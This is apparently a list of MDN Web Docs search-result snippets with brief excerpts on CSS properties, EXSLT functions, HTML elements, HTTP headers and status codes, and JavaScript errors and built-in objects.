... the ordinate coordinate of each point is modified by a value proportionate to the specified angle and the distance to the origin; thus, the farther from the origin a point is, the greater will be the value added it.
translate() - CSS: Cascading Style Sheets
this transformation is characterized by a two-dimensional vector.
... its coordinates define how much the element moves in each direction.
translate3d() - CSS: Cascading Style Sheets
this transformation is characterized by a three-dimensional vector.
... its coordinates define how much the element moves in each direction.
transition-duration - CSS: Cascading Style Sheets
you may specify multiple durations; each duration will be applied to the corresponding property as specified by the transition-property property, which acts as a master list.
...a time of 0s indicates that no transition will happen, that is the switch between the two states will be instantaneous.
user-modify - CSS: Cascading Style Sheets
read-write-plaintext-only same as read-write, but rich text formatting will be lost.
... examples html <div class="readwrite">the user is able to change this text.</div> css .readwrite { -moz-user-modify: read-write; -webkit-user-modify: read-write; } specifications not part of any standard.
var() - CSS: Cascading Style Sheets
WebCSSvar
<declaration-value> the custom property's fallback value, which is used in case the custom property is invalid in the used context.
... this value may contain any character except some characters with special meaning like newlines, unmatched closing brackets, i.e.
width - CSS: Cascading Style Sheets
WebCSSwidth
lass="em_length">width measured in em</div> percentage .percent { width: 20%; background-color: silver; border: 1px solid red; } <div class="percent">width in percentage</div> max-content p.maxgreen { background: lightgreen; width: intrinsic; /* safari/webkit uses a non-standard name */ width: -moz-max-content; /* firefox/gecko */ width: -webkit-max-content; /* chrome */ width: max-content; } <p class="maxgreen">the mozilla community produces a lot of great software.</p> min-content p.minblue { background: lightblue; width: -moz-min-content; /* firefox */ width: -webkit-min-content; /* chrome */ width: min-content; } <p class="minblue">the mozilla community produces a lot of great software.</p> specifications specification ...
... recommendation precises on which element it applies to.
exsl:node-set() - EXSLT
WebEXSLTexslnode-set
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes exsl:node-set() returns a node-set from a result tree fragment, which is what you get when you look at the xsl:variable instead of its select attribute to fetch a variable's value.
... syntax exsl:node-set(object) parameters object the object for which to return the corresponding node-set.
exsl:object-type() - EXSLT
note: most xslt object types can be coerced into each other safely; however, certain coercsions to raise error conditions.
... returns the object's type, which will be one of the following: string number boolean node-set rtf external specifications exslt - exsl:object-type ...
Regular expressions (regexp) - EXSLT
WebEXSLTregexp
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascript style regular expressions.
... regexp:match()regexp:match() performs regular expression matching on a string, returning the submatches found as a result.regexp:replace()regexp:replace() replaces the portions of a string that match a given regular expression with the contents of another string.regexp:test()regexp:test() tests to see whether a string matches a specified regular expression.
set:has-same-node() - EXSLT
syntax set:has-same-node(nodeset1, nodeset2) parameters nodeset1 the first node set to check.
... nodeset2 the second node set to check.
str:split() - EXSLT
WebEXSLTstrsplit
returns a node-set of token elements, each containing one token from the string.
... example str:split('book, phone, computer, chair', ', ') returns a node set like: <token>book</token> <token>phone</token> <token>computer</token> <token>chair</token> specifications exslt - str:split ...
Using device orientation with 3D transforms - Developer guides
there are however two corrections that should be applied to those values: the initial alpha value is 180 (device flat on the back, top of the screen pointing 12:00), so the rotatez value should be alpha - 180 the y axis of the screen coordinate system is inverted, such that translatey(100px) moves an element 100px down, so the rotatey value should be -gamma finally, the order of the three different rotations is very important to accurately convert an orientation to a 3d rotation: rotatez, then rotatex and then rotatey.
...this is achieved by inverting the previous order of rotations and negating the alpha value: var elem = document.getelementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // again, use vendor-prefixed transform property elem.style.transform = "rotatey(" + ( -e.gamma ) + "deg)" + "rotatex(" + e.beta + "deg) " + "rotatez(" + - ( e.alpha - 180 ) + "deg) "; }); rotat...
HTML attribute: maxlength - HTML: Hypertext Markup Language
the maxlength attribute defines the maximum number of characters (as utf-16 code units) the user can enter into an <input> or <textarea>.
...constraint validation is only applied when the value is changed by the user.
HTML attribute: min - HTML: Hypertext Markup Language
WebHTMLAttributesmin
for 4.2 to be valid, step would have had to be set to any, 0.1, 0.2, or any the min value would have had to be a number ending in .2, such as <input type="number" min="-5.2"> syntax for min values by input type input type example example date yyyy-mm-dd <input type="date" min="2019-12-25" step="1"> month yyyy-mm <input type="month" min="2019-12" step="12"> week yyyy-w## <input type="week" min="2019-w23" step=""> time hh:mm <input type="time" min="09:00"...
...etime-local yyyy-mm-ddthh:mm <input type="datetime-local" min="2019-12-25t19:30"> number <number> <input type="number" min="0" step="5" max="100"> range <number> <input type="range" min="60" step="5" max="100"> note: when the data entered by the user doesn't adhere to the min value set, the value is considered invalid in contraint validation and will match the :invalid pseudoclass see client-side validation and rangeunderflow for more information.
Block-level elements - HTML: Hypertext Markup Language
a block-level element always starts on a new line and takes up the full width available (stretches out to the left and right as far as it can).
... elements the following is a complete list of all html "block-level" elements (although "block-level" is not technically defined for elements that are new in html5).
<center>: The Centered Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementcenter
this tag has been deprecated in html 4 (and xhtml 1) in favor of the css text-align property, which can be applied to the <div> element or to an individual <p>.
...<p>so will this paragraph.</p></div> example 3 (css alternative) <p style="text-align:center">this line will be centered.<br> and so will this line.</p> note applying text-align:center to a <div> or <p> element centers the contents of those elements while leaving their overall dimensions unchanged.
<cite>: The Citation element - HTML: Hypertext Markup Language
WebHTMLElementcite
usage notes in the context of the <cite> element, a creative work that might be cited could be, for example, one of the following: a book a research paper an essay a poem a musical score a song a play or film script a film a television show a game a sculpture a painting a theatrical production a play an opera a musical an exhibition a legal case report a computer program a web site a web page a blog post or comment a forum post or comment a tweet a facebook post a written or oral statement and so forth.
... to include a reference to the source of quoted material which is contained within a <blockquote> or <q> element, use the cite attribute on the element.
<datalist>: The HTML Data List element - HTML: Hypertext Markup Language
WebHTMLElementdatalist
the html <datalist> element contains a set of <option> elements that represent the permissible or recommended options available to choose from within other controls.
... examples <label for="mybrowser">choose a browser from this list:</label> <input list="browsers" id="mybrowser" name="mybrowser" /> <datalist id="browsers"> <option value="chrome"> <option value="firefox"> <option value="internet explorer"> <option value="opera"> <option value="safari"> <option value="microsoft edge"> </datalist> result specifications specification status comment html l...
<embed>: The Embed External Content element - HTML: Hypertext Markup Language
WebHTMLElementembed
this content is provided by an external application or other source of interactive content such as a browser plug-in.
... examples <embed type="video/quicktime" src="movie.mov" width="640" height="480" title="title of my video"> accessibility concerns use the title attribute on an embed element to label its content so that people navigating with assistive technology such as a screen reader can understand what it contains.
<input type="reset"> - HTML: Hypertext Markup Language
WebHTMLElementinputreset
buttons such as reset don't have a value otherwise.
... adding a reset keyboard shortcut to add a keyboard shortcut to a submit button — just as you would with any <input> for which it makes sense — you use the accesskey global attribute.
<map> - HTML: Hypertext Markup Language
WebHTMLElementmap
the attribute must be present and must have a non-empty value with no space characters.
... the value of the name attribute must not be a compatibility-caseless match for the value of the name attribute of another <map> element in the same document.
<optgroup> - HTML: Hypertext Markup Language
WebHTMLElementoptgroup
often browsers grey out such control and it won't receive any browsing events, like mouse clicks or focus-related ones.
... label the name of the group of options, which the browser can use when labeling the options in the user interface.
<plaintext>: The Plain Text element (Deprecated) - HTML: Hypertext Markup Language
instead of <plaintext>, use the <pre> element or, if semantically accurate (such as for inline text), the <code> element.
... escape any <, > and & characters, to prevent browsers inadvertently parsing content the element content as html.
<rt>: The Ruby Text element - HTML: Hypertext Markup Language
WebHTMLElementrt
the html ruby text (<rt>) element specifies the ruby text component of a ruby annotation, which is used to provide pronunciation, translation, or transliteration information for east asian typography.
... examples this simple example provides romaji transliteration for the kanji characters within the <ruby> element: <ruby> 漢 <rt>kan</rt> 字 <rt>ji</rt> </ruby> body { font-size: 22px; } the output looks like this in your browser: on a browser without ruby support, this example might look like this: 漢 kan 字 ji body { font-size: 22px; } specifications specification status comment html living standardthe definiti...
<ruby> - HTML: Hypertext Markup Language
WebHTMLElementruby
ruby annotations are for showing pronunciation of east asian characters.
... examples example 1: character <ruby> 漢 <rp>(</rp><rt>kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp> </ruby> example 2: word <ruby> 明日 <rp>(</rp><rt>ashita</rt><rp>)</rp> </ruby> specifications specification status comment html living standardthe definition of '<ruby>' in that specification.
<s> - HTML: Hypertext Markup Language
WebHTMLElements
examples <s>today's special: salmon</s> sold out<br> <span style="text-decoration:line-through;">today's special: salmon</span> sold out accessibility concerns the presence of the s element is not announced by most screen reading technology in its default configuration.
...because of this, it is important to not abuse this technique and only apply it in situations where not knowing content has been struck out would adversely affect understanding.
<shadow>: The obsolete Shadow Root element - HTML: Hypertext Markup Language
WebHTMLElementshadow
the html <shadow> element—an obsolete part of the web components technology suite—was intended to be used as a shadow dom insertion point.
... note: this is an experimental technology.
<slot> - HTML: Hypertext Markup Language
WebHTMLElementslot
the html <slot> element—part of the web components technology suite—is a placeholder inside a web component that you can fill with your own markup, which lets you create separate dom trees and present them together.
... content categories flow content, phrasing content permitted content transparent events slotchange tag omission none, both the starting and ending tag are mandatory.
<wbr> - HTML: Hypertext Markup Language
WebHTMLElementwbr
to make a hyphen appear only at the end of a line, use the soft hyphen character entity (&shy;) instead.
... example the yahoo style guide recommends breaking a url before punctuation, to avoid leaving a punctuation mark at the end of the line, which the reader might mistake for the end of the url.
<xmp> - HTML: Hypertext Markup Language
WebHTMLElementxmp
the html2 specification recommended that it should be rendered wide enough to allow 80 characters per line.
...note that you will need to escape the '<' character as '&lt;' to make sure it is not interpreted as markup.
style - HTML: Hypertext Markup Language
living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'style' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'style' in that specification.
Reason: CORS request did not succeed - HTTP
the http request which makes use of cors failed because the http connection failed at either the network or protocol level.
... as of firefox 68, https pages are not permitted to access http://localhost, although this may be changed by bug 1488740.
Reason: CORS request external redirect not allowed - HTTP
the cors request was responded to by the server with an http redirect to a url on a different origin than the original request, which is not permitted during cors requests.
... for example, if the page https://service.tld/fetchdata were requested, and the http response is "301 moved permanently", "307 temporary redirect", or "308 permanent redirect" with a location of https://anotherservice.net/getdata, the cors request will fail in this manner.
Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’ - HTTP
if using the fetch api, make sure request.credentials is "omit".
... to eliminate this error by changing the server's configuration, adjust the server's configuration to set the access-control-allow-credentials header's value to true.
Access-Control-Request-Headers - HTTP
the access-control-request-headers request header is used by browsers when issuing a preflight request, to let the server know which http headers the client might send when the actual request is made.
... examples access-control-request-headers: x-pingother, content-type specifications specification status comment fetchthe definition of 'access-control-request-headers' in that specification.
Access-Control-Request-Method - HTTP
the access-control-request-method request header is used by browsers when issuing a preflight request, to let the server know which http method will be used when the actual request is made.
... examples access-control-request-method: post specifications specification status comment fetchthe definition of 'access-control-request-method' in that specification.
Allow - HTTP
WebHTTPHeadersAllow
this header must be sent if the server responds with a 405 method not allowed status code to indicate which request methods can be used.
... an empty allow header indicates that the resource allows no request methods, which might occur temporarily for a given resource, for example.
CSP: report-uri - HTTP
$log_file; mail($email_address, $email_subject, $message, 'content-type: text/plain;charset=utf-8'); } else if (filesize($log_file) > $log_file_size_limit) { exit(0); } file_put_contents($log_file, $json_data, file_append | lock_ex); } specifications specification status comment content security policy level 3the definition of 'report-uri' in that specification.
... working draft no changes.
Digest - HTTP
WebHTTPHeadersDigest
some of the supported algorithms, including unixsum and md5 are subject to collisions and are thus not suitable for applications in which collision-resistance is important.
...the choice of digest algorithm also determines the encoding to use: for example sha-256 uses base64 encoding.
Feature-Policy: autoplay - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
... default policy the default value in google chrome is 'self'.
Feature-Policy: picture-in-picture - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
... default policy as of june 2019, the spec draft and google chrome set default allow list to *.
web-share - HTTP
the http feature-policy header web-share directive controls controls whether the current document is allowed to use the navigator.share() of web share api to share text, links, images, and other content to arbitrary destiations of user's choice.
... features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: xr-spatial-tracking - HTTP
this policy controls whether navigator.xr.requestsession() can return xrsession that requires spatial tracking and whether user agent can indicate support for sessions supporting spatial tracking via navigator.xr.issessionsupported() and devicechange event on navigator.xr object.
... features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
From - HTTP
WebHTTPHeadersFrom
a crawler), the from header should be sent, so you can be contacted if problems occur on servers, such as if the robot is sending excessive, unwanted, or invalid requests.
... header type request header forbidden header name no syntax from: <email> directives <email> a machine-usable email address.
Host - HTTP
WebHTTPHeadersHost
the host request header specifies the host and port number of the server to which the request is being sent.
... <port> optional tcp port number on which the server is listening.
If-Range - HTTP
WebHTTPHeadersIf-Range
it is a string of ascii characters placed between double quotes (like "675af34563dc-tr34") and may be prefixed by w/ to indicate that the weak comparison algorithm should be used.
... gmt greenwich mean time.
Proxy-Authenticate - HTTP
iana maintains a list of authentication schemes.
... examples proxy-authenticate: basic proxy-authenticate: basic realm="access to the internal site" specifications specification title rfc 7235, section 4.3: proxy-authenticate http/1.1: authentication rfc 7617 the 'basic' http authentication scheme ...
Proxy-Authorization - HTTP
see also the iana registry of authentication schemes.
... examples proxy-authorization: basic ywxhzgrpbjpvcgvuc2vzyw1l specifications specification title rfc 7235, section 4.4: proxy-authorization http/1.1: authentication rfc 7617 the 'basic' http authentication scheme ...
Server-Timing - HTTP
// single metric without value server-timing: missedcache // single metric with value server-timing: cpu;dur=2.4 // single metric with description and value server-timing: cache;desc="cache read";dur=23.2 // two metrics with value server-timing: db;dur=53, app;dur=47.2 // server-timing as trailer trailer: server-timing --- response body --- server-timing: total;dur=123.4 privacy and security the server-timing header may expose potentially sensit...
...consider to control which metrics are returned when and to whom on the server side.
Upgrade-Insecure-Requests - HTTP
header type request header forbidden header name no syntax upgrade-insecure-requests: 1 examples a client's request signals to the server that it supports the upgrade mechanisms of upgrade-insecure-requests: get / http/1.1 host: example.com upgrade-insecure-requests: 1 the server can now redirect to a secure version of the site.
... a vary header can be used so that the site isn't served by caches to clients that don’t support the upgrade mechanism.
X-Content-Type-Options - HTTP
the x-content-type-options response http header is a marker used by the server to indicate that the mime types advertised in the content-type headers should not be changed and be followed.
...ype is not a javascript mime type enables cross-origin read blocking (corb) protection for the mime-types: text/html text/plain text/json, application/json or any other type with a json extension: */*+json text/xml, application/xml or any other type with an xml extension: */*+xml (excluding image/svg+xml) specifications specification status comment fetchthe definition of 'x-content-type-options definition' in that specification.
X-Forwarded-For - HTTP
this header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information, such as the ip address of the client.
... header type request header forbidden header name no syntax x-forwarded-for: <client>, <proxy1>, <proxy2> directives <client> the client ip address <proxy1>, <proxy2> if a request goes through multiple proxies, the ip addresses of each successive proxy is listed.
X-Forwarded-Host - HTTP
host names and ports of reverse proxies (load balancers, cdns) may differ from the origin server handling the request, in that case the x-forwarded-host header is useful to determine which host was originally used.
... this header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information, such as the ip address of the client.
TRACE - HTTP
WebHTTPMethodsTRACE
the http trace method performs a message loop-back test along the path to the target resource, providing a useful debugging mechanism.
... request has body no successful response has body no safe no idempotent yes cacheable no allowed in html forms no syntax trace /index.html specifications specification title rfc 7231, section 4.3.8: trace hypertext transfer protocol (http/1.1): semantics and content ...
Proxy servers and tunneling - HTTP
there are two types of proxies: forward proxies (or tunnel, or gateway) and reverse proxies (used to control and protect access to a server for load-balancing, authentication, decryption or caching).
...reverse proxies have several use cases, a few are: load balancing: distribute the load to several web servers, cache static content: offload the web servers by caching static content like pictures, compression: compress and optimize content to speed up load time.
200 OK - HTTP
WebHTTPStatus200
a 200 response is cacheable by default.
... the meaning of a success depends on the http request method: get: the resource has been fetched and is transmitted in the message body.
202 Accepted - HTTP
WebHTTPStatus202
202 is non-committal, meaning that there is no way for the http to later send an asynchronous response indicating the outcome of processing the request.
... it is intended for cases where another process or server handles the request, or for batch processing.
301 Moved Permanently - HTTP
WebHTTPStatus301
a browser redirects to this page and search engines update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is sent to the new url).
...it is therefore recommended to use the 301 code only as a response for get or head methods and to use the 308 permanent redirect for post methods instead, as the method change is explicitly prohibited with this status.
308 Permanent Redirect - HTTP
WebHTTPStatus308
a browser redirects to this page and search engines update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is sent to the new url).
... the request method and the body will not be altered, whereas 301 may incorrectly sometimes be changed to a get method.
428 Precondition Required - HTTP
WebHTTPStatus428
typically, this means that a required precondition header, such as if-match, is missing.
... when a precondition header is not matching the server side state, the response should be 412 precondition failed.
431 Request Header Fields Too Large - HTTP
WebHTTPStatus431
to help those running into this error, indicate which of the two is the problem in the response body — ideally, also include which headers are too large.
... this lets users attempt to fix the problem, such as by clearing their cookies.
451 Unavailable For Legal Reasons - HTTP
WebHTTPStatus451
the hypertext transfer protocol (http) 451 unavailable for legal reasons client error response code indicates that the user requested a resource that is not available due to legal reasons, such as a web page for which a legal action has been issued.
... http/1.1 451 unavailable for legal reasons link: <https://spqr.example.org/legislatione>; rel="blocked-by" content-type: text/html <html> <head><title>unavailable for legal reasons</title></head> <body> <h1>unavailable for legal reasons</h1> <p>this request may not be serviced in the roman province of judea due to the lex julia majestatis, which disallows access to resources hosted on servers deemed to be operated by the people's front of judea.</p> </body> </html> specifications specification title rfc 7725: 451 unavailable for legal reasons an http status code to report legal obstacles ...
501 Not Implemented - HTTP
WebHTTPStatus501
this status can also send a retry-after header, telling the requester when to check back to see if the functionality is supported by then.
... a 501 response is cacheable by default; that is, unless caching headers instruct otherwise.
JavaScript Guide - JavaScript
chapters this guide is divided into several chapters: introduction about this guide about javascript javascript and java ecmascript tools hello world grammar and types basic syntax & comments declarations variable scope variable hoisting data structures and types literals control flow and error handling if...else switch try/catch/throw error objects loops and iteration for while do...while break/continue for..in for..of functions defining functions calling functions function scope closures arguments & pa...
... string literals string object template literals internationalization regular expressions indexed collections arrays typed arrays keyed collections map weakmap set weakset working with objects objects and properties creating objects defining methods getter and setter details of the object model prototype-based oop creating object hierarchies inheritance promises guarantees chaining error propagation composition timing iterators and generators iterators iterables generators meta programming proxy handlers and traps revocable proxy reflect javascript modules exporting importing default exports renaming features aggregating modules dynamic module loading ne...
Private class fields - JavaScript
only the class which defines the private static field can access the field.
... class baseclasswithprivatestaticfield { static #private_static_field static basepublicstaticmethod() { this.#private_static_field = 42 return this.#private_static_field } } class subclass extends baseclasswithprivatestaticfield { } let error = null try { subclass.basepublicstaticmethod() } catch(e) { error = e} console.assert(error instanceof typeerror) private instance fields private instance fields are declared with # names (pronounced "hash names"), which are identifiers prefixed with #.
extends - JavaScript
the extends keyword is used in class declarations or class expressions to create a class that is a child of another class.
... syntax class childclass extends parentclass { ...
The legacy Iterator protocol - JavaScript
the legacy iterator protocol was a spidermonkey-specific feature, which is removed in firefox 58+.
...rotocol function makeiterator(array){ var nextindex = 0; return { next: function(){ if(nextindex < array.length){ return array[nextindex++]; else throw new stopiteration(); } } } var it = makeiterator(['yo', 'ya']); console.log(it.next()); // 'yo' console.log(it.next()); // 'ya' try{ console.log(it.next()); } catch(e){ if(e instanceof stopiteration){ // iteration over } } ...
TypeError: invalid Array.prototype.sort argument - JavaScript
the javascript exception "invalid array.prototype.sort argument" occurs when the argument of array.prototype.sort() isn't either undefined or a function which compares its operands.
... the argument of array.prototype.sort() is expected to be either undefined or a function which compares its operands.
RangeError: radix must be an integer - JavaScript
message rangeerror: invalid argument (edge) rangeerror: radix must be an integer at least 2 and no greater than 36 (firefox) rangeerror: tostring() radix argument must be between 2 and 36 (chrome) error type rangeerror what went wrong?
...a radix that is larger than 10 uses alphabetical characters as digits; therefore, the radix can't be larger than 36, since the latin alphabet (used by english and many other languages) only has 26 characters.
SyntaxError: return not in function - JavaScript
examples missing curly brackets var cheer = function(score) { if (score === 147) return 'maximum!'; }; if (score > 100) { return 'century!'; } } // syntaxerror: return not in function the curly brackets look correct at a first glance, but this code snippet is missing a { after the first if statement.
... correct would be: var cheer = function(score) { if (score === 147) { return 'maximum!'; } if (score > 100) { return 'century!'; } }; ...
ReferenceError: can't access lexical declaration`X' before initialization - JavaScript
message referenceerror: use before delaration (edge) referenceerror: can't access lexical declaration `x' before initialization (firefox) referenceerror: 'x' is not defined (chrome) error type referenceerror what went wrong?
... function test() { let foo = 33; if (true) { let foo = (foo + 55); // referenceerror: can't access lexical // declaration `foo' before initialization } } test(); valid cases to change "foo" inside the if statement, you need to remove the let that causes the redeclaration.
TypeError: property "x" is non-configurable and can't be deleted - JavaScript
(firefox) typeerror: cannot delete property 'x' of #<object> (chrome) error type typeerror in strict mode only.
...the configurable attribute controls whether the property can be deleted from the object and whether its attributes (other than writable) can be changed.
TypeError: can't redefine non-configurable property "x" - JavaScript
message typeerror: cannot modify non-writable property {x} (edge) typeerror: can't redefine non-configurable property "x" (firefox) typeerror: cannot redefine property: "x" (chrome) error type typeerror what went wrong?
...the configurable attribute controls whether the property can be deleted from the object and whether its attributes (other than writable) can be changed.
TypeError: cyclic object value - JavaScript
message typeerror: cyclic object value (firefox) typeerror: converting circular structure to json (chrome and opera) typeerror: circular reference in value argument not supported (edge) error type typeerror what went wrong?
...cycle.js) or implement a solution by yourself, which will require finding and replacing (or removing) the cyclic references by serializable values.
SyntaxError: test for equality (==) mistyped as assignment (=)? - JavaScript
error type (firefox only) syntaxerror warning which is reported only if javascript.options.strict preference is set to true.
... examples assignment within conditional expressions it is advisable to not use simple assignments in a conditional expression (such as if...else), because the assignment can be confused with equality when glancing over the code.
SyntaxError: for-in loop head declarations may not have initializers - JavaScript
the javascript strict mode-only exception "for-in loop head declarations may not have initializers" occurs when the head of a for...in contains an initializer expression, such as |for (var i = 0 in obj)|.
...(chrome) error type syntaxerror in strict mode only.
SyntaxError: a declaration in the head of a for-of loop can't have an initializer - JavaScript
the javascript exception "a declaration in the head of a for-of loop can't have an initializer" occurs when the head of a for...of loop contains an initializer expression such as |for (var i = 0 of iterable)|.
...(chrome) error type syntaxerror what went wrong?
TypeError: "x" is not a function - JavaScript
you will have to provide a function in order to have these methods working properly: when working with array or typedarray objects: array.prototype.every(), array.prototype.some(), array.prototype.foreach(), array.prototype.map(), array.prototype.filter(), array.prototype.reduce(), array.prototype.reduceright(), array.prototype.find() when working with map and set objects: map.prototype.foreach() and set.prototype.foreach() examples a typo in the function name in this case, which happens way too often, there is a typo in the method name: let x = document.getelementbyid('foo'...
...in this example, array.prototype.map() is used, which will work with array objects only.
ReferenceError: "x" is not defined - JavaScript
note: when loading a library (such as jquery), make sure it is loaded before you access library variables, such as "$".
... however, a function can access all variables and functions defined inside the scope in which it is defined.
RangeError: precision is out of range - JavaScript
message rangeerror: the number of fractional digits is out of range (edge) rangeerror: the precision is out of range (edge) rangeerror: precision {0} out of range (firefox) rangeerror: toexponential() argument must be between 0 and 20 (chrome) rangeerror: tofixed() digits argument must be between 0 and 20 (chrome) rangeerror: toprecision() argument must be between 1 and 21 (chrome) error type rangeerror what went wrong?
... method firefox (spidermonkey) chrome, opera (v8) number.prototype.toexponential() 0 to 100 0 to 20 number.prototype.tofixed() -20 to 100 0 to 20 number.prototype.toprecision() 1 to 100 1 to 21 examples invalid cases 77.1234.toexponential(-1); // rangeerror 77.1234.toexponential(101); // rangeerror 2.34.tofixed(-100); // rangeerror 2.34.tofixed(1001); // rangeerror 1234.5.toprecision(-1); // r...
TypeError: "x" is read-only - JavaScript
message typeerror: assignment to read-only properties is not allowed in strict mode (edge) typeerror: "x" is read-only (firefox) typeerror: 0 is read-only (firefox) typeerror: cannot assign to read only property 'x' of #<object> (chrome) typeerror: cannot assign to read only property '0' of [object array] (chrome) error type typeerror what went wrong?
...(technically, it is a non-writable data property.) this error happens only in strict mode code.
SyntaxError: redeclaration of formal parameter "x" - JavaScript
message syntaxerror: let/const redeclaration (edge) syntaxerror: redeclaration of formal parameter "x" (firefox) syntaxerror: identifier "x" has already been declared (chrome) error type syntaxerror what went wrong?
... function f(arg) { let arg = 'foo'; } // syntaxerror: redeclaration of formal parameter "arg" if you want to change the value of "arg" in the function body, you can do so, but you do not need to declare the same variable again.
SyntaxError: "x" is a reserved identifier - JavaScript
message syntaxerror: the use of a future reserved word for an identifier is invalid (edge) syntaxerror: "x" is a reserved identifier (firefox) syntaxerror: unexpected reserved word (chrome) error type syntaxerror what went wrong?
... "use strict"; class docarchiver {} // syntaxerror: class is a reserved identifier // (throws in older browsers only, e.g.
RangeError: repeat count must be less than infinity - JavaScript
message rangeerror: argument out of range (edge) rangeerror: repeat count must be less than infinity and not overflow maximum string size (firefox) rangeerror: invalid count value (chrome) error type rangeerror what went wrong?
... the resulting string can also not be larger than the maximum string size, which can differ in javascript engines.
SyntaxError: "use strict" not allowed in function with non-simple parameters - JavaScript
message edge: cannot apply strict mode on functions with non-simple parameter list firefox: syntaxerror: "use strict" not allowed in function with default parameter syntaxerror: "use strict" not allowed in function with rest parameter syntaxerror: "use strict" not allowed in function with destructuring parameter chrome: syntaxerror: illegal 'use strict' directive in function with non-simple parameter list error type syntaxerror.
... a "use strict" directive is written at the top of a function that has one of the following parameters: default parameters rest parameters destructuring parameters a "use strict" directive is not allowed at the top of such functions per the ecmascript specification.
TypeError: "x" is (not) "y" - JavaScript
also, certain methods, such as object.create() or symbol.keyfor(), require a specific type, that must be provided.
... examples invalid cases // undefined and null cases on which the substring method won't work var foo = undefined; foo.substring(1); // typeerror: foo is undefined var foo = null; foo.substring(1); // typeerror: foo is null // certain methods might require a specific type var foo = {} symbol.keyfor(foo); // typeerror: foo is not a symbol var foo = 'bar' object.create(foo); // typeerror: "foo" is not an object or null fixing the issue to fix null pointer to undefined values, you can use the typeof operator, for example.
AggregateError - JavaScript
examples catching an aggregateerror promise.any([ promise.reject(new error("some error")), ]).catch(e => { console.log(e instanceof aggregateerror); // true console.log(e.message); // "all promises rejected" console.log(e.name); // "aggregateerror" console.log(e.errors); // [ error: "some error" ] }); creating an aggregateerror try { thro...
...w new aggregateerror([ new error("some error"), ], 'hello'); } catch (e) { console.log(e instanceof aggregateerror); // true console.log(e.message); // "hello" console.log(e.name); // "aggregateerror" console.log(e.errors); // [ error: "some error" ] } specifications specification promise.anythe definition of 'aggregateerror' in that specification.
get Array[@@species] - JavaScript
subclass constructors may override it to change the constructor assignment.
... examples species in ordinary objects the species property returns the default constructor function, which is the array constructor for array objects: array[symbol.species]; // function array() species in derived objects in a derived collection object (e.g.
Array.prototype.flat() - JavaScript
flatdeep(val, d - 1) : val), []) : arr.slice(); }; flatdeep(arr, infinity); // [1, 2, 3, 4, 5, 6] use a stack // non recursive flatten deep using a stack // note that depth control is hard/inefficient as we will need to tag each value with its own depth // also possible w/o reversing on shift/unshift, but array ops on the end tends to be faster function flatten(input) { const stack = [...input]; const res = []; while(stack.length) { // pop value from stack const next = stack.pop(); if(array.isarray(next)) { // push back array items, won't modify the original input stack.push(...next); } ...
...for reference, please check: https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500 examples flattening nested arrays const arr1 = [1, 2, [3, 4]]; arr1.flat(); // [1, 2, 3, 4] const arr2 = [1, 2, [3, 4, [5, 6]]]; arr2.flat(); // [1, 2, 3, 4, [5, 6]] const arr3 = [1, 2, [3, 4, [5, 6]]]; arr3.flat(2); // [1, 2, 3, 4, 5, 6] const arr4 = [1, 2, [3, 4, [5, 6, [7, 8, [9, ...
Array.prototype.join() - JavaScript
syntax arr.join([separator]) parameters separator optional specifies a string to separate each pair of adjacent elements of the array.
...if separator is an empty string, all elements are joined without any characters in between them.
Array.prototype.pop() - JavaScript
this method changes the length of the array.
...objects which do not contain a length property reflecting the last in a series of consecutive, zero-based numerical properties may not behave in any meaningful manner.
Array.prototype.push() - JavaScript
return value the new length property of the object upon which the method was called.
...this includes the possibility of length being nonexistent, in which case length will also be created.
Array.prototype.toLocaleString() - JavaScript
the elements are converted to strings using their tolocalestring methods and these strings are separated by a locale-specific string (such as a comma “,”).
... syntax arr.tolocalestring([locales[, options]]); parameters locales optional a string with a bcp 47 language tag, or an array of such strings.
Array.prototype.values() - JavaScript
the values() method returns a new array iterator object that contains the values for each index in the array.
... var arr = ['a', 'b', 'c', 'd', 'e']; var iterator = arr.values(); console.log(iterator); // array iterator { } iterator.next().value; // "a" arr[1]='n'; iterator.next().value; // "n" if the values in the array changed the array iterator object values change too.
get ArrayBuffer[@@species] - JavaScript
subclass constructors may over-ride it to change the constructor assignment.
... examples species in ordinary objects the species property returns the default constructor function, which is the arraybuffer constructor for arraybuffer objects: arraybuffer[symbol.species]; // function arraybuffer() species in derived objects in a derived collection object (e.g.
ArrayBuffer.prototype.byteLength - JavaScript
the value is established when the array is constructed and cannot be changed.
... this property returns 0 if this arraybuffer has been detached.
ArrayBuffer.isView() - JavaScript
the arraybuffer.isview() method determines whether the passed value is one of the arraybuffer views, such as typed array objects or a dataview.
... syntax arraybuffer.isview(value) parameters value the value to be checked.
ArrayBuffer.prototype.slice() - JavaScript
syntax arraybuffer.slice(begin[, end]) parameters begin zero-based byte index at which to begin slicing.
... end optional byte index before which to end slicing.
BigInt - JavaScript
bigint is a built-in object that provides a way to represent whole numbers larger than 253 - 1, which is the largest number javascript can reliably represent with the number primitive and represented by the number.max_safe_integer constant.
... however, since these are bigints and not bigdecimals, this operation will round towards 0 (which is to say, it will not return any fractional digits).
DataView.prototype.byteLength - JavaScript
the value is established when an dataview is constructed and cannot be changed.
